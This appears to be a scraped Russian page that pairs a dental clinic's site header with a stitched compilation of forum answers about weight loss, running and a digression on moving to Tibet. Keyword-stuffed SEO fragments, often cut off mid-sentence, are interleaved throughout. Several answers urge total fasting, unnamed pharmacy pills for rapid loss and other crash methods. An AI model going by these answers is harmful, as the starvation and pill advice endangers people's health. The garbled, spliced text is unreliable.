Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Набрала 6 кг. посоветуйте как избавиться

Бег, и посли 6 только вода!

Эта тема и для меня актуальна. :)
Я решила не есть после 18:00.
Больше пить воды (это слегка заглушает аппетит) .
Не есть картошку и мучное.
Раньше мне это всегда помогало, надеюсь, поможет и вам при условии жесткого соблюдения этих условий. :)

Не есть вообще))))))))))))))))))

Есть все но в меру, усилить завтрак, обед, ужин кефир, зарядка, пресс, обруч, фитнес, вечером вообще не есть

МОЖНО!!!! например, моя старая подруга была, хоть и моя подоуга, но реально крупная (( при весе 110 кг за 5 месяцев она скинула лишнее, и теперь весит 59 кг... Даже немного завидно.. Лучше худеть летом, есть меньше хочется... Значит так: есть один раз в день желательно суп.. можно, чтоб совсем не оголодать съесть свежие огурчики, перец, яблоки, ананасы, морковь... пить много воды... больше литра.. Заниматься спортом или гулять по 2 часа.. делать упражнения.. и кстати, знаю не прилично, но нужно смешивать огурцы с кефиром.. и каждый день употреблять... чтоб в туалет ходить... зато результат! ! Но у моей подруги два раза срывался желудок, но потом привыкла! Со временем привыкаешь... Главное стремление и сила воли!! ! А на 6-7 кг похудеть можно: 3 дня на рисе и воде, следущие 3 дня на фруктах, овощах и воде (всех кроме винограда и бананов) , последущие 3 дня мясо курицы... Никакого масла! Никакой соли! Никакого перца! Даже не думайте о сладком!!!! УДАЧИ!!!

Вес возвращается - это закономерно

Как убрать жир по бокам:??

Липосацию сделать.

Говорят, помогает крутить обруч. А если серьезно, наберись терпения и к инструктору, если жира много самой можно не справиться, а инструктор подскажет комплексы упражнений - целенаправленные, да еще и по питанию проинструктирет, если грамотный. Удачи.

Надо, во первых ограничить себя в питании (если уж сильно тяжело, то хотя бы посли 6 не есть) , исключить всякие перекусы между основными приёмами пищи, и во-вторых качать боковой прес!
Удачи!

Зачем ты спрашиваешь? Ты сама знаешь не хуже нас, все равно делать ты нечего не будешь, это наверняка. Тут нужна сила воли.

А кушать безмерно не пробовали бросить?

Аква аэробика хорошо помогает! Любой спорт клуб проводит такие занятия! только ходить надо длительно! Удачи!!!!

Во-первых, можно использовать специальную диету. Диета для талии позволяет сбросить 3-4 кг з неделю, но вам так же может подойти любая низкокалоийная диета Для большего успеха обязательно нужно сочетать диету с достаточными физическими нагрузками и здесь вам может помочь система упражнений - Дэвида Зинченко " Пресс-диета" -книга о том как сделать свою талию и живот красивыми. Которая не только содержит рекомендации по питанию но специальные упражнения.

Стоит ли пить после тренировки ?

Если хочется - конечно

Упражнения для похудения ляшек. Как убрать живот за неделю. Как избавиться от живота после родов.Как убрать жир с живота и боков первое упражнение. Встаньте прямо, ноги вместе.

Нет нельзя я занимался боксом
так после такой тренировки 40 минут вообще ничего нельзя
только поласкать рот водой

Спиртное, точно не стоит

Стоит выпить молока или виноградного сока, а вот остальное горечительное вредно, иногда посли соревнований стаканьчик сухого вина.

Нет не стоит.... луще сьешь апелсин... он сожгет все нинужное.... своей кислотой.... пить можно и нужно через 2 часа.... чтоб востонавить водяно-солевой баланс в желудке и крови....

Ххаха... че ви бредите канешно можно я спортсмен уже 9 лет !!я знаю лутше них !! МОЖНА И НИКОГО НЕСЛУШАЙ !!

Убираем живот и бока в домашних условиях быстро. Идеальная фигура Упражнения для похудения 29.12.2014 13 15.В процессе избавления от жира именно в области живота и боков, как для женщин, так и для мужчин важен комплексный подход.

Конечно пей...)) ) чушь полная что пить нельзя..

Конечно можно, даже нужно, ведь жидкости которые ты вывел из организма во время тренировки нужно возместить обратно хоть долю

Тренировки в зале? если да, то стоит не только после, но и вовремя тренировки!

Нужно восполнять воду в организме и во время трени и после

Обязательно пей!!!! Мначе сердцу стнанет плохо! я не пугаю я серьезно!
Во время потовыделения, организм теряет влыгу (жидкость), если не пополнять ее, то тогд а кровь будет загустевать и сердцу пудет трудно ее прокачивать!!!! во время тренировки нужно! и посе оконечно же! я во время выпиваю 1 литр! у меня трениировка на полтора часа, и после тренировки сразу 1 литр, и после подхожу и пью! обязательно нужно!

Самые эффективные упражнения для мужчин и женщин, видео, что же делать чтобы убрать живот и бока вНа сегодняшний день методов для борьбы с жиром в зоне живота и боков более чемЕсли вас интересуют вопросы как избавиться от живота после родов? или как...

Нужно потому-что при занятиях происходит обезвоживание,

ПОмогите очень надо сбросить 5 кг до Нового Года..подскажите как Может есть диета или ещё что-то?

Я тоже тут попросила такого совета, все сказали хватит жрать. Мой совет, утром проснулась сделай ножницы, велосипед, просто попрыгай раз 100 на одном месте и еш продукты которые не утоляют голод на время, а долго действуют...

Как убрать живот и бока. Упражнения для мужчин и женщин в области боков и живота. Причем основной упор будет делаться не только на комплекс упражнений, но также на диету, образ жизни и другие важные моменты.Таблица углеводов, жиров, белков.

Разгрузочные дни...

Не надо на диэты собится просто посли 6 нельзя есть !

Просто ничего не куФай, пей водичку.. _) не умрёшь, зато похудеешь,,,. проверено мной и в книгах умных написано, что НЕкушать, это НЕ вредно! ! только не забывай пить водичку

Похудеть на 5 кг. уже не успеешь, а если и похудеешь то поплахеет. Предлагаю запастись утягивающим нижним бельем: трусы, карсет и колготки, и не нужно будет так срочно худеть!

Конечно есть каша для похудания оочень вкусная а ешё есть способ ...зарядка..танцы несколько занятий и ты в форме....

Зачатие и беременность После родов Здоровье и питание Школа Развитие детей Беременность по неделям.Самое эффективное упражнение чтобы убрать жир с живота и боков.

Просто не ешь, пей воду чтобы не обессилить и тпохудеешь

Вруби музыку и танцуй. каждый день, долго, до пота, удачи!!!!

Диета рассчитана на неделю:один день можешь есть ,что хочешь,только количество каллорий не должно превышать 1200.На следующий день ешь одни яблоки,из расчёта:1 яблоко в час.И так чередуй всю неделю.Удачи!

У меня такое же ннесчастье.К НГ надо худеть....

То что посоветую вредно наверно!!!!и все же очень действенно!!!!сама проходила,,,,есть таблетки в аптеке продаються!!! все что нужно 1 таблетку в день утром питание как и раньше зато 2 недели --10 кг меня не узнали многие в инсте)))))) правда им про таблетки я не афишировала многие осуждают но что делать????если дальше 2 3 дней зарядки тренировок дело непродвигаеться....

Убрать живот и бока быстро. убрать жир с живота боков.упражнения для похудения ляшек. Как убрать живот за неделю. Как избавиться от живота после родов.

Я когда принялась худеть, несколько дней пила тёплую воду с лимоном и с заменителем сахара, ещё могла съесть пару йогуртов в день. Когда пьёшь такую воду, аппетит притупляется. Ну и главное настрой. Удачи!!

Постоянно недоедать! составить суточный баланс калорий! больше фруктов и овощей! обязательно физические упражнения! можно бассейн, баню! ну секс не помешает...

Ну что? Что -нибудь нового прочитала? Все способы известны и неоригинальны. Значит у тебя просто слабая сила воли или слабая мотивация. А будет мотивация - появиться и сила воли не есть после 6 часов НИЧЕГО. Самый проверенный способ, но очень сложно исполнимый, хотя самое сложное первые 3 дня. Удачи, После НГ будет еще много всяких дат, начни уже сегодня. Почитай таблицу каллорийности, избегай каллории, например майонез в разы каллорийнее сметаны 15%.

О проблеме быстрой потери веса читайте мой подробный ответ здесь.

Почему успешные люди бросают свою престижную работу, продают квартиры и уезжают жить в Тибет или Индию?

Подростешь поймешь!

На самом деле упражнения с обручем направлены больше на формирование талии, чем на удаление жира с живота.Как убрать живот и бока - видео. Избавляемся от последствий беременности. Порой даже самые стройные девушки после родов становятся расплывчатыми...

В Тибете - Шамбала
там смысл жизни можно постичь и себя познать
а в Индии - другая культура и духовность выше
Ты слышал об А. Редько?
но большинство едут познать себя или отыскать истину и возвращаются

Подальше от огромной "помойки".

Ты тоже сейчас там?

Многие уезжают на алтай и просто в сибирь... им опостылело общество потребления

Потому что понимают, что главные ценности нематериальные

Убрать живот и бока после родов посильно каждой женщине, главное не лениться...Сюда входит и определенная диета, и физические упражнения как убрать живот и бока после родов дома.

Потому что все достало!!!!
остачертело все, хочется для себя все делать, хочется дурой ходитьпо этой праге с фотоаппаратом, а не сидеть здесь
жизнь мимо проходит

Наконец до них доходит, что участвовали в конке за призраками Все материальное - это тлен

Заработали уже все себе необходимое, понаслаждались успехом - теперь самое время и для себя пожить!
Теперь их задача - мир посмотреть!

Потому что в России нет свободы

Моськ потёк от переизбытка халявы.

Ниже вы сможете прочесть о том, как максимально быстро и эффективно избавиться от излишнего жира на боках и животе при помощи упражнений и используя диету, чтобы убрать живот.Все вышеперечисленные методы женщины после родов могут использовать не ранее...

Дураки истина под носом

У богатых свои причуды

Хотят пожить реальной жизнью, без высоких технологий, наедине с природой и собой

А потому что постигают главное : всё суета сует , и всё, что материально-тлен, и лишь духовное вечно!

Счтают, что пришло время их духовного развития. подготовки к иным мирам. к уходу и т.д.
некоторые. наверное, теряют смысл сдешней жизни и хотят развиваться - дальше, Все то что может быть в этой жизни ...они уже прошли..

Зарядка, гимнастика, диеты, массаж, пояс и тренаж ры, чтобы быстро убрать жир с боков и живота.Дополнительно посмотрите видео с упражнениями для похудения живота и боков отПосле родов 81 кг а щас уже 65 пью уже полтора месяца , очень рада и радую му.

Мышление начинает работать по-другому. Человек понимает, что нужно этой жизнью жить.

С жиру бесяться...

Зажрались

Я вот тоже думаю,куда бы уехать....

Люди при рождении все поголовно заболевают психической болезнью, поэтому так несчастливы. Точено неизвестно, что это за болезнь. Симптом такой, что головной мозг начинает избыточно действовать. В результате, человек перенапрягается жутко (это всё равно, что ездить на машине всё время на первой передаче). А во время медитаций и аутогенных тренировок частично эта болезнь уходит. Осознать это можно, только заработав много денег, и постигнув, что всё равно счастья ни хрена нет. А пока человек не заработает много денег - ни фига этого не поймёт!

Как убрать живот после родов и сделать его плоским? Плоский животик мечта каждой девушки.Это упражнение также помогает убрать жир с живота и боков.

Потому что успешность надумана и успешность не есть свобода но якорь с которым становишься рабом успешности. В Индия и Тибете (часть тибета захвачена китайцами) больше свободы.

Система окружающая нас даканала всех, таким людям надаело улыбаться своему шефу или выслушивать наказания тещи, куча причин возникающие с попытками удержать свой статус.
Кто ушел тот слабак, сильные люди ломают систему.

Potomu chto v Indii chuvstvuesh sebya legko i svobodno. Nikto i nichto ne napryagaet,
est vozmozhnost byt samim soboy. A esli chelovek interesuetsya samoosoznaniem i9 duhovnimi praktikami,
to luchshe mesta na planete prosto ne naiti! :)

Потому что самое жестокое существо на планете - это ЧЕЛОВЕК, не один хищник не убьет если он не собираеться скушать и только человечетво убивает ради интереса, мы даже покупаем с запасом а потом просто выкидываем сгнившее в мусорное ведро. Мы пользуемся благами, которые сами для себя изобрели... Но на планете еще остались уголки, где понимают, что золото брилианты, шубы и все остальное ровным счетом ничего не значат. И человек на подсознательном уровне чувствует это!

Думаю- потому, что они на самом деле именно что не успешные. Дом, работа. фирма и квартира в бывшем Союзе (России)- это далеко не предел мечтаний нормального человека и уж точно- не признак успеха. Вот когда положишь на достижение этой дребедени десяток лет таланта и здоровья, времени- возникает понимание, что достиг-то, в общем ерунды. Вот от разочарования, разницы в желаемом и полученном- начинает их звать или Тибет, или Хацапетовка. Внутри себя нет мира- между своим прошлым, настоящим и будущим.

Если вы хотите убрать лишний жир с боков и живота - стоит две недели посидеть на диете.Чтобы быстро убрать живот и привести в тонус мышцы необходимо каждый день делать два простых упражнения крутить обруч и качать пресс.

Да потому, что неуспешные там и н ахер никому ненужны.

Это отщепенцы и предатели дела успешности.

Рано или поздно каждый человек приходит к убеждению что он- вселенная.И чтобы понять окружающий мир и людей нужно прежде всего понять себя.Это один из вариантов приблизиться к истине.Только не уверена что для этого необходимо так далеко уезжать.

Стоит задуматься...

Каждый с ума сходит по-своему. Можно так расценить.
А можно по-другому: познали материальное благополучие, а теперь хотят познать духовное, которого им не хватало.
Хотят пожить в хорошей экологической обстановке, которая укрепляет здоровье.
Хотят вплотную заняться духовными практиками с полным погружением, чтобы не отвлекаться на насущные московские проблемы, которые все равно никогда не отпустят человека, пока он живет в этих условиях.
А вам слабо - бросить все и уехать навсегда?

Быстро убрать лишний жир с боков и с живота помогут именно эти упражнения .Как убрать живот после родов. Сделать пиллинг в домашних условиях фото и видео.

До этого нужно дойти...
Человек который в быстром пути стремится к чему-то и потом добивается - получается как бы теряет цель... Сначалу одну... потом другую... Идет по ступенькам и понимает что лесенка физических желаний далеко не бесконечна... Она - только видимое основание чего-то огромного... желаний и мыслей души...
И на каком-то этапе он приходит к решению - что не все сущное и материальное - есть смысл жизни... И гонка за всем этим прекращается... Рождается мудрость и желание жить пищей духовной и жить жизнью разума... Созерцать и любить...
Тибет и Индия - наверно те места в этом мире которые наиболее благосклонны к осуществлению всего того, к чему стремится душа... Их культура и история настраивают на верный лад и дают возможность осуществить задуманное...
Вообщем-то не всем дано прийти к этому... Но Культура и духодное воспитание индусов и востока не могут не вызывать уважения..
Хотелось бы уехать туда не одной...

Просто не в деньгах счастье.

Почитай книгу "Магги"

А чё тут умным людям делать?

Потомучто им это всё надоедает и они уезжают в какуюнибудь беспечную строну в которой можно прожить на остаток своих денег!

Краткое содержание статьи1 Как убрать жир с боков и живота5 Упражнения для похудения живота пресс диагональные скручивания на полу

Но, ЗАМЕТЬТЕ, НИКТО из них НЕ ОТКАЗАЛСЯ от тех денег, которые они заработали...
А с деньгами - хоть на Тибете, хоть в Индии - везде можно искать смысл жизни.

Ха!
Гораздо больше имярек бредущих, ползущих, несомых в храмы и монастыри. На призрение. О которых мы "не слышим" и "не видим".
Как думаете? Они теряют больше или меньше? Приобретают всё?

Ни разу за 50 лет прожитых в Москве и СПб не видел, и не увижу таких! Бросайте провокации... Удачи!

Знаешь у меня много известных знакомых, которые хотят переехать в спокойную и мирную тишь Украины....допустим....потому что суета не всегда есть хорошо....не говоря уже о Тибете и Индии....

С жиру бесятся

Долго искала подходящие упражнения, качать пресс не явилось эффективным, как оказалось. да еще и после родовДавно искала способ скинуть лишний жирок с боков и живота, да всеЕще хорошо помогают убрать жир с живота и подтянуть мышцы танцы живота, плавание...

Они спасают ДУШУ. Многие из них удостаиваются прозрения - то есть образно, через сны и видения, им Свыше подсказывают, что дальше - тупик и тьма, что есть еще немного времени - очиститься и отмолить грехи. А вот большинству так и не удается прозреть при жизни, называя таких людей чудаками и проч. С этим "багажом" и уйдут...

Потому что они поняли в чём состоит истинное счастье

Ну заработали, предположим 1000000000$, а дальше ЧТО?
Продолжать накапливать, а смысл то какой? Ведь с собой на тот свет ничего не унесешь, а потомков уже обеспечили! Вот и наступает у нормальных людей определенного вида кризис. Они осознают бессмысленность дальнейшего накопительства. Те, у кого не наступает такого состояния, становятся своего рода "денежными наркоманами". Это такая же болезнь, как игромания. Все больше, больше, больше денег, а для чего и сами не знают. Вот и получается ДЕНЬГИ РАДИ ДЕНЕГ!!! АБСУРД!!!
Некоторые спасаются меценатством, но капиталистическое окружение их не понимает. Вот и уходят люди от бизнеса, потому что он становится БИЗНЕС РАДИ БИЗНЕСА!!!!

Думаю что послей всей хрени и геморроя по зарабатыванию денег.хочется найти спокойствия и равновесия в самом себе.а в нашей стране мало мест где всё это можно осознать.разве что в монастыре.да и там говорят про деньги!правильно что никого неслушают и уезжают!ведь все заработаные деньги в саван не положишь.да и когда умрем.там они нам не пригодятся!

Просто они устали воровать, вот и все)))

Система питания и комплекс упражнений для того, чтобы убрать жир с живота и боков в домашних условияхРабота организма в общих чертах подчиняется одним и тем же законам, независимо от категорий людей и даже если необходимо убрать жир с живота после родов.

Потому что не в деньгах счастье.
Вот только надо заиметь столько денег, чтобы это понять.

Чтобы потом вернуться и стать еще благополучнее, но при этом обогащенным новым знанием и возможностью просвещать других.

Потому что прочитали Кастаньеду. А если серьезно, то жизнь у нас теперь такая. Все куда -то бегут, покупают, зарабатывают, вперед-вперед, а зачем??? где смысл в этом? жить ради своего желудка? задалбливает бессмысленность существования, жестокость, ложь, все маски и фасады, а за ними ПУСТОТА!! хочется чего-то простого и для души. человек это же не только тело. И чем больше имеешь материальных благ, тем яснее понимаешь, что счастье не в этом.
Теперь есть целое движение - "дауншифтинг", люди сознательно понижают свои социальный статус, чтобы иметь больше времени для себя.
Есть, люди которые образуют общины. Слышали про город Ауровиль в Индии? Там идею извратили конечно, но сейчас и в Росии существуют поселения по этому типу.

Проблемы при беге. Подскажите плиз что делать?

Это жир перекатывается. Сначала пусть похудеет. Пожалуйста.

Какими упражнениями убрать бока и живот? Особенно эффективным для сжигания жира является бег. Достаточно 10-15 минут в день.Убираем живот и бока после родов.

Все таки дышит он не правильно.

Нет. При питье жидкость разжижает кровь и уменьшает давление. А болит потому, что перед бегом нужно хорошо размяться, и глубоко подышать. Боль в боку - естественная вещь у нетренированных людей. Просто снижайте темп.

Попробуйте сначала позаниматься дыхательными упражнениями Йоги,это очень просто! Соответственно никакого курения и алкоголя! Все получится,удачи!

Может быть просто от непривычки. При регулярной пробежке проблема может исчезнуть!

У меня то же самое с непривычки. Просто сбавь темп или перейди на быстрый шаг. Но не останавливайся - со временем ( дней четыре -пять) уже сможешь сделать больше

Убрать жир с живота и боков. Редко, наверное, встретишь женщину, которой не знакома была моя проблема. После родов совсем исчезла талия.Пыталась делать упражнения для боков и живота, но с ребенком регулярно не получается.

От воды такого не бывает.. скорее всего, темп бега для нее сильно быстрый+обувь неправильная... для успокоения-сходите к врачу

При занятиях спортом пить обязательно надо. В день 1,5л воды пьёте? Организм теряет воду и минералы при занятиях. Проблемы в кишечнике, засорён и обезвожен. Ещё молочная кислота при работе мышц разрушает органы, есть антиоксиданты, которые утилизируют кислоту-микрогидрин. За 30мин до занятий спортом. пиши

Как Похудеть на 3 кг за 2 недели

Ночью!!!!

3 Убрать живот после родов видео.Многие задаются целью убрать живот и бока, видео уроки, пропагандирующие такиеЕсли ваша работа не позволяет двигаться в достаточном количестве, убрать жир с живота поможет видео урок с необходимым циклом упражнений.

Французская диета : утром - секс, в обед - кекс, вечером - секс, со сменой партнеров

Не есть после шести (даже если всё плохо, можно только пить) . перед едой выпивать стакан сока (жидкость попадая перед приемом пищи в организм способствует лучшему расщеплению пищи, создает эффект "наполняемости желудка" и витаминчики никогда никому не мешали...)))

Спортом надо заниматься

А оно тебе надо?)))

Зачем ждать 2 недели один день можно вообще не покушать полтора дня 10км утром минус 1кг вечером 10 км минус 1кг следующее утро

Боремся с жиром на боках и животе. Существует несколько способов убрать жир с боков и живота, каждый из которых имеет свои преимущества5. Позы в йоге, которые помогут быстро убрать жир с живота и боков. Упражнения, ускоряющие сжигание жира с живота и боков.

Спортом заняться, только уйдут объемы а не киллограммы

Ограничить употребление углеводов (мучное, сладкое, картофель) , не кушайте после 18.00, пейте 1,5-2 литра воды в день, заняться спортом, или гимнастику делать, упражнения различные
я в свое время худела по диете Ларисы Долиной, очень действенная диета, я довольна!
1-й день: 400 г печеного картофеля без соли и 0,5 л кефира 1% жирности (это на весь день) .
2-й день: 400 г обезжиренного творога и 0,5 л кефира.
3-й день: 400 г фруктов (кроме бананов и винограда) и 0,5 л кефира.
4-й день: 400 г отварных куриных грудок без соли и 0,5 л кефира.
5-й день: 400 г фруктов и 0,5 л кефира.
6-й день: 1,5 л минеральной воды без газа
7-й день: 400 г фруктов и 0,5 л кефира.
После недели диеты питаетесь как обычно, но с ограничением сладкого, жирного, острых блюд и мучного. Это надо для закрепления веса. Возможно, что за это время прибавится килограмм. Спустя семь дней вновь приступите к диете - пока не достигнете желаемого результата.
1. Каждый день нужно употреблять только определенный вид пищи. Например, творог или вареную курицу. Запивать кефиром, настоем трав и водой.
2. Продукты надо делить на маленькие порции и есть через каждые два часа с 8.00 до 18.00. После - ни-ни!
P.S. Я вместо 6-го дня, где нужно пить воду, кушала фрукты с кефиром, потому что это очень сложно лично для меня, и все равно похудела!

Чтоб похудеть можно поделать такие вещи:
1)гимнастика для проблемных зон. В инете наберите упражнения для проблемных зон. Вам виведет массу упражнений выберите, те, которые более всего будут по-вашему эффективными;
2)упражнения бодифлекс они послужат как разминка и тренировкой для всего тела, плюс сократят размер желудка и вы природным путем станете меньше кушать;
3)разгрузочный день (кефирный, овощной, фруктовый, гречневый.... ) раз у неделю;
4) не кушать после 18.00; 5)купите в аптеке рыльца кукурузы, заваривайте их и принимайте каждый день за 20-30 дней до еды, этот настой сбивает аппетит и служит профилактикой болезней пищеварения;
6)можете использовать чувственную визуализацию своей фигуры - каждый день по 20-30 минут представляйте себя стройными. Чувствуйте радость за то, что вы уже стройны. Такой способ даст вам психологические силы. Найдите в инету фотографию с идеально фигурой, распечатайте ее и прикрепите на это фото свою голову. и повесьте это фото так, чтоб вы его видели.
7) Ежьте все, но почучуть.
8) При экстренных ситуациях можно попробовать диету моделей, гречневую, овсяную, овощную, диету медиков. Но это монодиеты, после них в основном вес набираешь. Нужно иметь ну очень большую силу воли.
9) Не забываем, что при потере веса могут появиться такие неприятности как растяжки, потому лучше всего увлажнять кожу тела оливковым масло при добавлении натуральных цитрусовых эфирных масел. Такой домашний лосьон не только сохранит вашу кожу, но и поможет расщеплению жиров.
Думаю, все недовольства своею фигурой у вас пройдут. Главное помните вы уже красивые и стройные, ваше тело должно быть таким в каком бы вы себя чувствовали максимально комфортно. Доска и три пупка мало кому принесли счастья в жизни

Очень просто. откажитесь от соли, и всего соленого. ведь соль задерживает в организме лишнюю воду, и добавляйте зелень петрушки в пишу. это снимет лишние отеки, вес упадет.
так же очистите кишечник. тоже лишние килограммы уйдут.
и займитесь плаванием. хорошо сжигает калории.

Привет. Нужен совет (сушка):...

Бегай 10 км по часу эффектнее будет и пресс на турнике качай, за год востоновишься, если ещё диету соблёдать конечно

Как убрать жир с живота. Есть два способа быстрый, но тяжелый и легкий, но долгий. В первом случае это правильное питание упражнения, во втором случае этоМифы и сжигание жира на животе. Если качать пресс жир уйдет с живота и боков. Аэробика лучший сжигатель жира.

Можно и не бегать вообще-бегом элементарно пожечь мышцы.
надо сесть на более жесткую диету- безуглеводку и в зале побольше подходов и повторений

А почему.. . н е т ?((

Желательно бегать до тренировки и после, что бы запускать те самые метаболизмы, если ты просто будешь бегать, то бег должен длиться больше 30 ти минут, так как процесс жиросжегания запускается только после этого.. .
Естественно больше белковой пищи в питании.
В упражнениях между подходами перерыв не больше 1-1.5 минуты, наверное знаешь эти постулаты.. .
Ну, а мышцы всё равно под убудут без соответствующих препаратов, но если ты не проф. атлет, это тебе не нужно...

Действительно - сушка и сбрасывание веса вещи совсем разные. Если у Вас огромные мышцы - сушитесь, если Вам они не особо нужны и хочется сбросить лишний жир - сбрасывайте вес. А сбросить жир куда легче, чем высушиться. Сбрасывайте просто жир - он будет уходить со всего тела (в последнюю очередь из живота и задницы) и Ваша мышца станет порельефнее, но потери в объеме природными методами не избежать, можно лишь минимизировать.

При наборе мышечной массы, набор жировой массы не избежен ...

Убираем жир с боков и живота. Система питания, упражнения, массаж, обертывания.Итак, о ч м могут предупреждать жировые складки на талии и отвисший животик? Изменения в организме после родов.

Совершенствуй методику, одна и та же не эффективно! Удачи!

Если вес большой - не бегай, колени убьёшь. На велотренажере гоняй.

Правильно всё только побольше бегай!!!!

Очень много правильных и вполне полных ответов!))) ) Не всем так везет !
Полностью поддерживаю некоторых ответчиков.. . бегайте -бегайте-бегайте.. .
4 км. за 30 минут- это легким шагом пройти можно))) ) ...не стоит себя так жалеть! Все результаты добиваются - через страдания!)) ) Проверено !!!
И + питание, сбалансированное и соответственно правильное + лучше ни грамма алкоголя, т. к. он вносит дисбаланс и увеличивает аппетит!
....все у Вас получится!! ! 100%)))

Конечно нормально-супер.. мужчина атлет, что апполон!

Как убрать живот в домашних условиях? Упражнения для быстрых результатов. Лишние отложения жира в области талии беспокоят огромное количество людей.Упражнения для уменьшения живота и боков необходимо выполнять не менее 3-4 раз в неделю

1-3 недели.Выполняя упражнения,не забывайте об основных законах работы с весом: техника должна быть безупречной; все движения - только под контролем; в момент пикового сокращения обязательно дополнительное статическое напряжение мышцы; в негативной фазе вес строго и ежесекундно подконтролен - всякие толчки и рывки нужно исключить начисто.Межсетовые промежутки отдыха составляют ровно одну минуту в упражнениях для небольших мышечных групп (руки,дельты) и полторы - для крупных.Если передышку затянуть,то вы автоматически превращаете свою тренировку из культуристической в чисто силовую.А это уже совсем иной гормональный ответ организма на упражнение и другая реакция мышц.
В течении первых трех недель вы будете выборочно использовать специальные методики для самых тяжелых сетов,но только пару-тройку раз в тренировочный день.Вы будете делать дроп-сеты в упражнениях для спины и форсированные повторения для груди.Внимание: в некоторых случаях вам понадобится опытный партнер,который подстрахует.
В каждую тренировку включено вспомогательное упражнение,то есть упражнение по вашему выбору.Зачем оно нужно? Объясняем: вспомогательное упражнение делает нашу программу более гибкой - с точки зрения соответствия вашим индивидуальным особенностям.Проще говоря,вы сами решаете что и как вы будете тренировать исходя из собственных нужд.Как подбирать вспомогательное упражнение? Начните с того,что из тех групп мышц,на которую рассчитана тренировку,выберите одну,требующую повышенного внимания.Затем прикиньте,какой снаряд будет в данном случае оптимален: гантели,штанга,блоки и т.д.Учтите,что это,по сути,дополнительное упражнение доводит интенсивность тренировки до предела; включив его в свою схему,вы,как говорится,балансируете на грани своих физических возможностей.Так что,будьте благоразумны и,если не уверены,что оно необходимо,смело откажитесь от вспомогательного упражнения.
4-5-я недели.Начиная с четвертой недели интенсивность тренинга увеличивается.На втором этапе мы меняем тренировочный принцип и переходим от трех к двум основным тренировкам.Меняется и их частота; каждую из двух тренировок нужно выполнять дважды в неделю.Интенсивность увеличивается за счет того,что теперь вы будете меньше отдыхать между сетами и упражнениями; межсетовые паузы не должны превышать 45-75 секунд (в зависимости от упражнения).Запомните главное: цель этой фазы - "подхлестнуть" обменные процессы в организме.
Сокращаем кардиоупражнения
Две главные формы спортивного воздействия на организм всем известны: это аэробика и силовая тренировка.Принципиальная разница между ними заключается в следующем: силовая тренировка с отягощениями увеличивает объем мускулатуры,аэробика - "сжигает" жировую прослойку,придавая мускулатуре "рельефный","прорисованный" вид.Речь идет,конечно,о грамотных,научно-обоснованных кардиотренировках; неуемные занятия аэробикой бесполезны и даже вредны для культуриста.По мнению специалистов,оптимальной является схема,согласно которой частота пульса во время кардиоупражнения должна оставаться в пределах 60-80 процентов от вашей максимальной частоты сердечных сокращений.Если перейти этот порог,то в поисках топлива организм начнет "пережигать" сахар крови,а потом и мышцы,забыв про жир.Почему это происходит? Секрет в том,что жировые клетки сгорают только в присутствии кислорода,ну а накручивая аэробную интенсивность,вы поневоле начинаете задыхаться.Развивается нехватка кислорода,и "сжигание" жира буксует.Для организма - это сигнал к поиску других источников энергии.
Разумный порог аэробного "сжигания" жира,по настоятельной рекомендации медиков,должен составлять один килограмм жировой прослойки в неделю.Если вы сбрасываете больше,то знайте: ваш организм "взялся" за мышечную ткань.
А теперь простая арифметика.Как известно,в одном килограмме чистой жировой ткани содержится примерно 7000 калорий.Снизить ежедневный приток пищевых калорий мы можем на 500 единиц,не больше.Иначе мы навредим своему здоровью.

Бегай больше 10 км)))!!! качай пресс не полностю что бы преседать а так что бы была нагрузка на сам пресс так если полнюстю садитца пресс раслабляется))) бегай лучше не садись на эти диеты не порть себе ими здоровья)) после каждой недели делай больше подходов и поторений удачи тебе!!!!

Бегайте.. только не перестарайтесь)

Бегай лучше 1 час н медленно так и жир уйдет после 30 минут начинает посли основной энергии

Работай на велотренажёре.

Для того чтобы убрать живот после родов нужно не только соблюдать диету, но и делать физические упражнения для возвращения тонуса мышцам.Это позволит держать в тонусе мышцы живота, убрать жир с боков.

Вообще-то 12 повторений - это набор мышечной массы.

Побегай

Ыыы

Бег, бег и плаванье)

Бег в болоневой куртке плюс белковая диета.
реально рулит

Успешность упражнений будет только в том случае, если их повторять регулярно. В противном же случае убрать жир с живота и боков у вас не получится.Многих молодых мам интересует вопрос, как вернуть прежний живот после родов в домашних условиях.

Скажите:а еслы 1 раз в неделю ходить на аеробику и каждый десь посли 6 не есть,можна сбросить живот к маю месяцу?

Забыл как зовут одного известного российского диетолога, если надо найдешь в инете, так он говорил, что не есть после шести очень вредно. Живот можно сбросить если каждый день делать упражнения на пресс.

Если Вы задались целью за неделю убрать лишний жир с низа живота и боков, то есть прекрасные способы сделать это даже в домашних условиях. Для тех, у кого появились складки после родов, мы посвятили отдельную статью.

Ходите на аэробику и ко всему еще и сами качайте пресс и крутите обруч.

Эт конечно не есть хорошо, но лично я думала что никогда уже не сброшу лишние кило, после операции начала лихо толстеть. Зато переехав в другой город, я два месяца работала на автомойке каждый день!!!! спала по 4 часа в сутки + стресс + всякие нервозы + алкоголь и сигареты, короче я за 4 месяца сбросила 13 кг. Счастлива - безгранично! Но такой диеты ни кому не по советую. До мая еще есть время, так что у тебя еще все впереди, а хорошая физическая нагрузка самый верный способ всхуднуть! Еще лучше записаться в школу верховой езды, там не только живот подтянется!

Нет.... этого мало)

1 раз в неделю? ! Вы пошутили? Это ничтожно мало.

Ну один раз в неделю это лучше, чем вообще не ходить на фитнес)
если у вас будет дефицит калорий, то живот уйдет и без аэробики, но лучше спорт разика 3 в неделю плюс здоровый образ жизни)
читайте мой блог на мэйл. ру, я пишу там на эти темы)

Убрать жир с живота боков. как похудеть в ногах за неделю.Как убрать живот и бока в домашних условиях. упражнения для похудения ляшек. Как убрать живот за неделю. Как избавиться от живота после родов.

Не есть после шести хорошо, если вы ложитесь спать в 22-23 часа. Если ложитесь поздно ночью, тогда лучше и ужинать на час-два попозже.
Одними упражнениями на пресс тоже не избавиться от лишних кг на животе, так как мышцы будут накачиваться, но жировая прослойка никуда не денется.
1 день в неделю заниматься аэробикой мало. Нужно два-три раза хотя бы по часу, соблюдая частоту занятий. Тогда будет толк. Однако еще не следует забывать о том, что после тренировки есть нельзя 2-3 часа.

От аэробики раз в неделю толку не будет. . я давно не ем после 6 и 4 года проходила на аэробику 2-4 раза в неделю. . при общем похудении животик всё равно остается...

Да))))))))

